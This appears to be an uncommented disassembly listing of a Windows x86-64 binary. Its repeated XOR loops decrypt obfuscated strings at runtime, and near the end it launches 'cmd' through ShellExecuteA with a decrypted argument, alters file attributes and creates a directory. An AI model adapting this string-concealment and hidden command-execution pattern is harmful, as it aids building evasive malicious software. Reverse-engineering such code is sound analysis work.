movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x38
jb 0x140070790
cmp r9d, 0x34
jae 0x1400708d3
mov eax, r9d
lea rcx, [rbp + 0x150]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x34
jb 0x1400708c0
mov byte [rbp + 0x184], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp + 0x150]
lea rax, [rbp + 0x350]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x140070910
lea rcx, [rbp - 0x70]
call fcn.14007e720
nop
mov dword [rsp + 0x40], 0x5051d27
movd xmm1, dword [rsp + 0x40]
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
mov dword [rbp + 0xf0], 0xe7908fe6
mov word [rbp + 0xf4], 0xbaa4
mov byte [rbp + 0xf6], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp + 0xf0]
lea rax, [rsp + 0x40]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x120], rbx
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400709a0
lea rcx, [rbp + 0x108]
call fcn.14007e720
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x108]
call fcn.140064ab0
lea r14, [0x1400d6e28]
jmp 0x140070e07
lea rax, [rbp - 0x70]
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x1400c6690]
movdqu xmmword [rbp + 0x350], xmm0
movdqa xmm1, xmmword [0x1400c5e50]
movdqu xmmword [rbp + 0x360], xmm1
movdqa xmm0, xmmword [0x1400c5fa0]
movdqu xmmword [rbp + 0x370], xmm0
mov dword [rbp + 0x380], 0xc085d7c7
mov dword [rbp + 0x384], 0xc4c0d0ce
mov dword [rbp + 0x388], 0xae8c82cc
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x358]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, r15d
add r10d, r15d
lea r11, [r11 + 0x10]
cmp r10d, 0x38
jb 0x140070a40
cmp r9d, 0x3b
jae 0x140070b76
mov eax, r9d
lea rcx, [rbp + 0x350]
add rcx, rax
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x3b
jb 0x140070b63
mov byte [rbp + 0x38b], bl
movdqa xmm0, xmmword [0x1400c5a60]
movdqu xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [0x1400c5ad0]
movdqu xmmword [rbp + 0x160], xmm1
mov dword [rbp + 0x170], 0x39703419
mov dword [rbp + 0x174], 0x22217e11
mov dword [rbp + 0x178], 0xd712147d
mov word [rbp + 0x17c], 0x81db
mov byte [rbp + 0x17e], 0xa1
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x158]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, r15d
add r10d, r15d
lea r11, [r11 + 0x10]
cmp r10d, 0x28
jb 0x140070be0
cmp r9d, 0x2e
jae 0x140070d16
mov eax, r9d
lea rcx, [rbp + 0x150]
add rcx, rax
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x2e
jb 0x140070d03
mov byte [rbp + 0x17e], bl
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp + 0x150]
lea rax, [rbp + 0x350]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
mov r8, rsi
inc r8
cmp byte [rdx + r8], bl
jne 0x140070d52
lea rcx, [rbp - 0x70]
call fcn.14007e720
nop
mov dword [rsp + 0x40], 0x5051d27
movd xmm1, dword [rsp + 0x40]
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
mov dword [rbp + 0xf0], 0xe7908fe6
mov word [rbp + 0xf4], 0xbaa4
mov byte [rbp + 0xf6], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp + 0xf0]
lea rax, [rsp + 0x40]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x120], rbx
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140070de0
lea rcx, [rbp + 0x108]
call fcn.14007e720
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x108]
call fcn.140064ab0
mov rcx, qword [0x1400d8e10]
mov rdx, qword [rcx + 0x3fe0]
cmp byte [rcx + 0x42ab], 0
je 0x140070e5b
cmp byte [rcx + 0x42aa], 0
jne 0x140070e5b
test byte [rcx + 0x40b4], 4
jne 0x1400711b3
mov eax, dword [rcx + 0x4270]
mov r8d, dword [rcx + 0x40b0]
cmp eax, r8d
jne 0x1400711b3
test eax, eax
je 0x1400711b3
cmp r8d, dword [rdx + 8]
jmp 0x140070f37
mov eax, dword [rcx + 0x40b8]
test al, 1
je 0x1400711b3
cmp qword [rcx + 0x3fe8], rdx
je 0x140070e7a
test al, al
jns 0x1400711b3
mov eax, dword [rcx + 0x4034]
test eax, eax
je 0x140070ea9
cmp eax, dword [rcx + 0x40b0]
je 0x140070ea9
cmp byte [rcx + 0x4041], 0
jne 0x140070ea9
cmp eax, dword [rdx + 0x8c]
je 0x140070ea9
cmp eax, dword [rdx + 0x90]
jne 0x1400711b3
mov rax, qword [rcx + 0x4268]
test rax, rax
je 0x140070eed
mov rax, qword [rax + 0x3b0]
test rax, rax
je 0x140070eed
cmp byte [rax + 0xcc], 0
je 0x140070eed
cmp rax, qword [rdx + 0x3b0]
je 0x140070eed
mov r8d, dword [rax + 0xc]
bt r8d, 0x1b
jb 0x1400711b3
bt r8d, 0x1a
jb 0x1400711b3
mov rax, qword [rcx + 0x4228]
cmp qword [rdx + 0x30], rax
je 0x140070f1e
mov rax, qword [rcx + 0x4000]
test rax, rax
je 0x1400711b3
mov rax, qword [rax + 0x3b0]
cmp qword [rdx + 0x3b0], rax
jne 0x1400711b3
test byte [rcx + 0x40b4], 4
jne 0x1400711b3
mov eax, dword [rdx + 0x8c]
cmp dword [rcx + 0x40b0], eax
jne 0x140070f46
cmp byte [rdx + 0xcd], 0
jne 0x1400711b3
movdqa xmm0, xmmword [0x1400c6280]
movdqu xmmword [rbp + 0x108], xmm0
mov dword [rbp + 0x118], 0xe3a5e1ee
mov dword [rbp + 0x11c], 0xf8e6faf5
mov word [rbp + 0x120], 0x8cf8
movd eax, xmm0
movd xmm1, eax
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rbp + 0x108], xmm1
movd xmm2, dword [rbp + 0x10c]
movd xmm0, dword [rbp - 0x30]
xorps xmm2, xmm0
movd dword [rbp + 0x10c], xmm2
movd xmm1, dword [rbp + 0x110]
movd xmm0, dword [rbp - 0x50]
xorps xmm1, xmm0
movd dword [rbp + 0x110], xmm1
movd xmm2, dword [rbp + 0x114]
movd xmm0, dword [rbp - 0x40]
xorps xmm2, xmm0
movd dword [rbp + 0x114], xmm2
mov ecx, r15d
lea rdx, [rbp + 0x118]
nop dword [rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x19
jb 0x140070fe0
mov byte [rbp + 0x121], 0
movdqa xmm0, xmmword [0x1400c5240]
movdqu xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [0x1400c5ae0]
movdqu xmmword [rbp + 0x160], xmm1
mov dword [rbp + 0x170], 0x347c3a04
mov word [rbp + 0x174], 0x980f
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x158]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x28
jb 0x140071040
cmp r9d, 0x25
jae 0x140071183
mov eax, r9d
lea rcx, [rbp + 0x150]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x25
jb 0x140071170
mov byte [rbp + 0x175], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rcx, [rbp + 0x150]
lea rax, [rbp + 0x108]
cmovne rcx, rax
call fcn.140014910
mov dword [rbp + 0x100], 0x435c0000
mov dword [rbp + 0x104], 0x420c0000
movdqa xmm0, xmmword [0x1400c66b0]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x60], 0xe2
movd eax, xmm0
movd xmm1, eax
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rbp + 0x50], xmm1
movd xmm2, dword [rbp + 0x54]
mov ecx, dword [rbp - 0x30]
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [rbp + 0x54], xmm2
movd xmm1, dword [rbp + 0x58]
mov edx, dword [rbp - 0x50]
movd xmm0, edx
xorps xmm1, xmm0
movd dword [rbp + 0x58], xmm1
movd xmm2, dword [rbp + 0x5c]
mov r8d, dword [rbp - 0x40]
movd xmm0, r8d
xorps xmm2, xmm0
movd dword [rbp + 0x5c], xmm2
mov word [rbp + 0x60], 0x61
movdqa xmm0, xmmword [0x1400c58e0]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0x2a0e
mov byte [rbp - 0xe], 0x85
movd eax, xmm0
movd xmm1, eax
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rbp - 0x20], xmm1
movd xmm2, dword [rbp - 0x1c]
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [rbp - 0x1c], xmm2
movd xmm1, dword [rbp - 0x18]
movd xmm0, edx
xorps xmm1, xmm0
movd dword [rbp - 0x18], xmm1
movd xmm2, dword [rbp - 0x14]
movd xmm0, r8d
xorps xmm2, xmm0
movd dword [rbp - 0x14], xmm2
mov ecx, r15d
lea rdx, [rbp - 0x10]
nop dword [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x12
jb 0x1400712a0
mov byte [rbp - 0xe], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rcx, [rbp - 0x20]
lea rax, [rbp + 0x50]
cmovne rcx, rax
lea rdx, [rbp + 0x100]
call fcn.14003f080
test al, al
je 0x140071c47
mov r9, r14
cmp qword [0x1400d6e40], 0xf
cmova r9, qword [0x1400d6e28]
movdqa xmm0, xmmword [0x1400c5b70]
movdqu xmmword [rbp + 0x130], xmm0
mov ecx, ebx
lea rax, [rbp + 0x130]
nop dword [rax]
nop word [rax + rax]
movd xmm1, ecx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
add ecx, 4
lea rax, [rax + 4]
cmp ecx, 0xc
jb 0x140071320
cmp ecx, 0xf
jae 0x140071380
mov eax, ecx
lea rdx, [rbp + 0x130]
add rdx, rax
nop dword [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x140071370
mov byte [rbp + 0x13f], 0
lea r8, [rbp + 0x130]
mov edx, 0x104
lea rcx, [rbp + 0x460]
call fcn.14004ac80
xor edx, edx
lea rcx, [rbp + 0x460]
call fcn.1400936b4
test eax, eax
jne 0x1400715e1
mov edx, 0x80
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rax, [rbp + 0x460]
mov qword [rbp], rax
lea rcx, [rbp + 0x460]
mov rax, rsi
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400713e0
mov qword [rbp + 8], rax
call fcn.140081158
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea r8, [rbp]
mov edx, eax
lea rcx, [rbp - 0x70]
call fcn.14004bbc0
nop
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
call fcn.1400816d0
mov rdx, rax
shr rdx, 0x20
movzx ecx, al
mov qword [rbp + 0x100], rcx
mov dword [rbp], edx
lea rax, str._L_f_
mov qword [rbp + 8], rax
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x130], xmm0
cmp edx, 0x91
jne 0x140071468
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x70]
call fcn.14004d060
cmp dword [rbp + 0x130], 0
jne 0x14007429e
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x1400714b5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400714b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400742af
call fcn.140080604
xor edx, edx
lea rcx, [rbp + 0x460]
call fcn.1400936b4
test eax, eax
jne 0x1400715e1
movdqu xmmword [rbp + 0x108], xmm9
mov dword [rbp + 0x118], 0xa4a5d5ac
mov dword [rbp + 0x11c], 0x8aabfba2
movd eax, xmm9
movd xmm1, eax
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rbp + 0x108], xmm1
movd xmm2, dword [rbp + 0x10c]
movd xmm0, dword [rbp - 0x30]
xorps xmm2, xmm0
movd dword [rbp + 0x10c], xmm2
movd xmm1, dword [rbp + 0x110]
movd xmm0, dword [rbp - 0x50]
xorps xmm1, xmm0
movd dword [rbp + 0x110], xmm1
movd xmm2, dword [rbp + 0x114]
movd xmm0, dword [rbp - 0x40]
xorps xmm2, xmm0
movd dword [rbp + 0x114], xmm2
mov ecx, r15d
lea rdx, [rbp + 0x118]
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x17
jb 0x140071560
mov byte [rbp + 0x11f], 0
lea r9, [rbp + 0x460]
lea r8, [rbp + 0x108]
mov edx, 0x104
lea rcx, [rbp + 0x570]
call fcn.14004ac80
mov dword [rsp + 0x70], 0x646d63
mov dword [rsp + 0x40], 0x1810041c
movd xmm1, dword [rsp + 0x40]
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x570]
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp qword [0x1400d6e40], 0xf
cmova r14, qword [0x1400d6e28]
mov dword [rbp + 0x130], 0x12290756
mov dword [rbp + 0x134], 0xe160812
mov dword [rbp + 0x138], 0x161e1d18
mov word [rbp + 0x13c], 0x801a
lea rcx, [rbp + 0x130]
call fcn.1400742e0
mov r9, r14
mov r8, rax
mov edx, 0x104
lea rcx, [rbp + 0x460]
call fcn.14004ac80
xor edx, edx
lea rcx, [rbp + 0x460]
call fcn.1400936b4
test eax, eax
jne 0x14007174a
lea rax, [rbp + 0x460]
mov qword [rbp], rax
lea rcx, [rbp + 0x460]
mov rax, rsi
inc rax
cmp byte [rcx + rax], 0
jne 0x140071666
mov qword [rbp + 8], rax
call fcn.140081158
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp], xmm0
lea r8, [rbp]
mov edx, eax
lea rcx, [rbp - 0x70]
call fcn.14004bbc0
nop
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
call fcn.1400816d0
mov rdx, rax
shr rdx, 0x20
movzx ecx, al
mov qword [rbp + 0x100], rcx
mov dword [rbp], edx
lea rax, str._L_f_
mov qword [rbp + 8], rax
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x130], xmm0
cmp edx, 0x91
jne 0x1400716ee
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x70]
call fcn.14004d060
cmp dword [rbp + 0x130], 0
jne 0x1400742b5
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14007173b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140071736
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400742c6
call fcn.140080604
xor edx, edx
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x1400c6770]
movdqu xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [0x1400c6620]
movdqu xmmword [rbp + 0x160], xmm1
movdqa xmm0, xmmword [0x1400c6020]
movdqu xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [0x1400c5fc0]
movdqu xmmword [rbp + 0x180], xmm1
movdqa xmm0, xmmword [0x1400c5d40]
movdqu xmmword [rbp + 0x190], xmm0
movdqa xmm1, xmmword [0x1400c5c70]
movdqu xmmword [rbp + 0x1a0], xmm1
movdqa xmm0, xmmword [0x1400c6070]
movdqu xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [0x1400c5e90]
movdqu xmmword [rbp + 0x1c0], xmm1
movdqa xmm0, xmmword [0x1400c59d0]
movdqu xmmword [rbp + 0x1d0], xmm0
mov dword [rbp + 0x1e0], 0x45257662
mov dword [rbp + 0x1e4], 0x6f616b66
mov word [rbp + 0x1e8], 0xc22
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x158]
nop dword [rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x98
jb 0x140071810
cmp r9d, 0x99
jae 0x140071956
mov eax, r9d
lea rcx, [rbp + 0x150]
add rcx, rax
nop dword [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x99
jb 0x140071940
mov byte [rbp + 0x1e9], 0
movdqa xmm0, xmmword [0x1400c5950]
movdqu xmmword [rbp + 0x350], xmm0
movdqa xmm1, xmmword [0x1400c6600]
movdqu xmmword [rbp + 0x360], xmm1
movdqa xmm0, xmmword [0x1400c5840]
movdqu xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [0x1400c6100]
movdqu xmmword [rbp + 0x380], xmm1
movdqa xmm0, xmmword [0x1400c59c0]
movdqu xmmword [rbp + 0x390], xmm0
movdqa xmm1, xmmword [str.na__E_e]
movdqu xmmword [rbp + 0x3a0], xmm1
movdqa xmm0, xmmword [0x1400c60d0]
movdqu xmmword [rbp + 0x3b0], xmm0
movdqa xmm1, xmmword [0x1400c5ac0]
movdqu xmmword [rbp + 0x3c0], xmm1
mov dword [rbp + 0x3d0], 0x11736414
mov dword [rbp + 0x3d4], 0x571c6b4b
mov word [rbp + 0x3d8], 0xd563
mov byte [rbp + 0x3da], 0xfd
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x358]
nop
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x88
jb 0x140071a10
cmp r9d, 0x8a
jae 0x140071b56
mov eax, r9d
lea rcx, [rbp + 0x350]
add rcx, rax
nop dword [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x8a
jb 0x140071b40
mov byte [rbp + 0x3da], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp + 0x350]
lea rax, [rbp + 0x150]
cmovne rdx, rax
xorps xmm0, xmm0
